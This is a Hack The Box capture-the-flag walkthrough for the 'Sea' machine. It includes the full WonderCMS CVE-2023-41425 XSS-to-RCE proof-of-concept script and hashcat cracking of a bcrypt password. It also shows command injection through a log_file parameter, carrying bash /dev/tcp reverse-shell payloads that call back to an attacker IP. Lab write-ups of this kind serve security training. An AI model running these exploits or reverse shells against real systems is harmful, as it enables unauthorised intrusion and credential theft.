#linux #hackthebox #easy ![[Pasted image 20250610002157.png]] --- # Enumeration nmap discovers two open ports 22 and 80 ```bash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ sudo nmap -sS 10.10.11.28 -Pn -n --open -p- [sudo] password for parallels: Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 20:01 CDT Nmap scan report for 10.10.11.28 Host is up (0.051s latency). Not shown: 64878 closed tcp ports (reset), 655 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 21.00 second ``` Ran nmap one more time to gather detailed information about the two open ports. We can also see that the website on port 80 does not have the `HttpOnly` flag enabled which may indicate a potential vulnerability to XSS. - `HttpOnly` is a security flag that prevents JavaScript from accessing cookies. ```bash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ nmap 10.10.11.28 -p 22,80 -sCV Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 20:03 CDT Nmap scan report for 10.10.11.28 Host is up (0.049s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA) | 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA) |_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Sea - Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds ``` # Foothold There was a link to `sea.htb/contact.php` under "HOW TO PARTICIPATE". Let's add `sea.htb` to `/etc/hosts` with the following command: ```bash echo "10.10.11.28 sea.htb" | sudo tee -a /etc/hosts ``` ![[Pasted image 20250609201656.png]] On the `sea.htb/contact.php` page, there is a registration form. ![[Pasted image 20250609202319.png]] I filled the form with random information and pressed submit, but nothing exciting happened. ![[Pasted image 20250609202717.png]] I ran `feroxbuster` and found some interesting directories and files. One good thing about feroxbuster is that it provides nested search so you don't have to run it multiple times to check contents inside a directory. Each of the directories that returned 301 redirect to the same path with a `/` on the end, and that returns 403 forbidden. ![[Pasted image 20250609204338.png]] I was able to access the following 3 paths: - `version` returns `3.2.0`. - `summary` returns "Animated bike theme, providing more interaction to your visitors." - `LICENSE` mentions `turboblack` which can be a keyword for the theme. ```bash 200 GET 1l 1w 6c http://sea.htb/themes/bike/version 200 GET 1l 9w 66c http://sea.htb/themes/bike/summary 200 GET 21l 168w 1067c http://sea.htb/themes/bike/LICENSE ``` Googling a combination of words like "turboblack bike theme 3.2.0" returns this CMS called `WonderCMS` and then I googled "WonderCMS 3.2.0 exploit". It apparently is vulnerable to `CVE-2023-41425`. You can check the PoC exploit here: https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413 To trigger the initial XSS vulnerability, the author of the PoC injects an XSS payload into the `loginURL` form which grabs our malicious `JavaScript` file and performs the module installation. ```bash # Exploit: WonderCMS XSS to RCE import sys import requests import os import bs4 if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252") else: data = ''' var url = "'''+str(sys.argv[1])+'''"; if (url.endsWith("/")) { url = url.slice(0, -1); } var urlWithoutLog = url.split("/").slice(0, -1).join("/"); var urlWithoutLogBase = new URL(urlWithoutLog).pathname; var token = document.querySelectorAll('[name="token"]')[0].value; var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "'''+str(sys.argv[2])+'''"; var port = "'''+str(sys.argv[3])+'''"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ''' try: open("xss.js","w").write(data) print("[+] xss.js is created") print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3])) print("----------------------------\n") XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\"" XSSlink = XSSlink.strip(" ") print("send the below link to admin:\n\n----------------------------\n"+XSSlink) print("----------------------------\n") print("\nstarting HTTP server to allow the access to xss.js") os.system("python3 -m http.server\n") except: print(data,"\n","//write this to a file") ``` ```bash wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip ``` From the PoC code, we have to modify the `urlRev` variable to match our own IP address like this: ```bash **var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.5:8000/main.zip&directoryName=violet&type=themes&token=" + token;** ``` Now after we modified the `urlRev` let's run our exploit code ```bash python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.14.5 1234 ``` Now, run the `exploit.py` and also set up a listener. Notice that exploit.py tells me to send the link to admin. ![[Pasted image 20250609215239.png]] ![[Pasted image 20250609215447.png]] Finally got a shell connecting back to me! ![[Pasted image 20250609224935.png]] Enumerating the file system I found the database for `wonderCMS` located at `/var/www/sea/data/database.js`, which contains hash value as password. ```json cat database.js { "config": { "siteTitle": "Sea", "theme": "bike", "defaultPage": "home", "login": "loginURL", "forceLogout": false, "forceHttps": false, "saveChangesPopup": false, "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q", "lastLogins": { "2025\/06\/10 03:56:56": "127.0.0.1", "2025\/06\/10 03:48:25": "127.0.0.1", "2025\/06\/10 03:45:55": "127.0.0.1", "2025\/06\/10 03:44:25": "127.0.0.1", "2025\/06\/10 03:21:53": "127.0.0.1" }, <SNIP> ``` It seems like I found the hash type `bcrypt` ![[Pasted image 20250609230250.png]] I removed the backslashes and wrote the hash to a text file and then feed it to `hashcat` using option `-m 3200` to crack bcrypt hashes. ```bash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > bcrypthash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ cat bcrypthash y.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q ``` ```bash hashcat -a 0 -m 3200 bcrypthash /usr/share/wordlists/rockyou.txt ``` hash cracked! the password is `mychemicalromance` ```bash $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance Session..........: hashcat Status...........: Cracked Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM...DnXm4q Time.Started.....: Mon Jun 9 23:30:59 2025 (48 secs) Time.Estimated...: Mon Jun 9 23:31:47 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 64 H/s (7.56ms) @ Accel:4 Loops:32 Thr:1 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 3072/14344385 (0.02%) Rejected.........: 0/3072 (0.00%) Restore.Point....: 3056/14344385 (0.02%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024 Candidate.Engine.: Device Generator Candidates.#1....: 753159 -> dangerous Hardware.Mon.#1..: Util: 97% ``` With the found password, I was able to login as `amay` ```bash www-data@sea:/home/amay$ su amay Password: amay@sea:~$ ``` Found user.txt ```bash amay@sea:~$ cat user.txt 7b9... ``` # Privilege Escalation Enumerate the system checking if there are any other ports open internally. We can see that port 8080 is open internally. ```bash amay@sea:~$ netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:49233 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - amay@sea:~$ ``` I'm going to forward that port to my local machine using SSH. ```bash ssh [email protected] -L 8080:127.0.0.1:8080 ``` Accessing the page port through a web browser prompts us to authenticate. I am logged in using `amay:mychemicalromance` and this page seems to be some sort of system monitoring website. ![[Pasted image 20250609234210.png]] ![[Pasted image 20250609234249.png]] Let's fire up `Burp Suite` and examine what each button does by intercepting requests. Notice that `log_file` in the POST request to analyze logs seems to pull an explicit file path. I'm going to try and inject a new command using `;touch+/tmp/test.txt`. ![[Pasted image 20250609234952.png]] It actually created the file `/tmp/test.txt` ```bash amay@sea:~$ ls -la /tmp/test.txt -rw-r--r-- 1 root root 0 Jun 10 04:51 /tmp/test.txt ``` Let's get a reverse shell using this payload: ```bash bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&i' ``` After URL encoding the payload in the Burp Suite POST request, we got our final payload ```bash log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%26i'&analyze_log= ``` I was able to get a reverse shell connecting back to me but It lost connection immediately. Looked like it was disconnected from the other end. ```bash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 58510 bash: cannot set terminal process group (10307): Inappropriate ioctl for device bash: no job control in this shell root@sea:~/monitoring# exit ``` The problem was that the reverse shell connects successfully, but it immediately exists after a few seconds. For whatever reason, the process was terminated by the web server it seemed like. What if we run the process in the background? if we append an ampersand `&` at the end of the payload, it's telling the process to run in the background and it actually kept the shell alive even after the HTTP request ends! ```bash bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 &' ``` ```bash ┌──(parallels㉿kali-linux-2024-2)-[~/Desktop] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.28] 58510 bash: cannot set terminal process group (10307): Inappropriate ioctl for device bash: no job control in this shell root@sea:~/monitoring# whoami whoami root root@sea:~/monitoring# ``` Found the root.txt! ```bash root@sea:~# cat root.txt 0c6... ```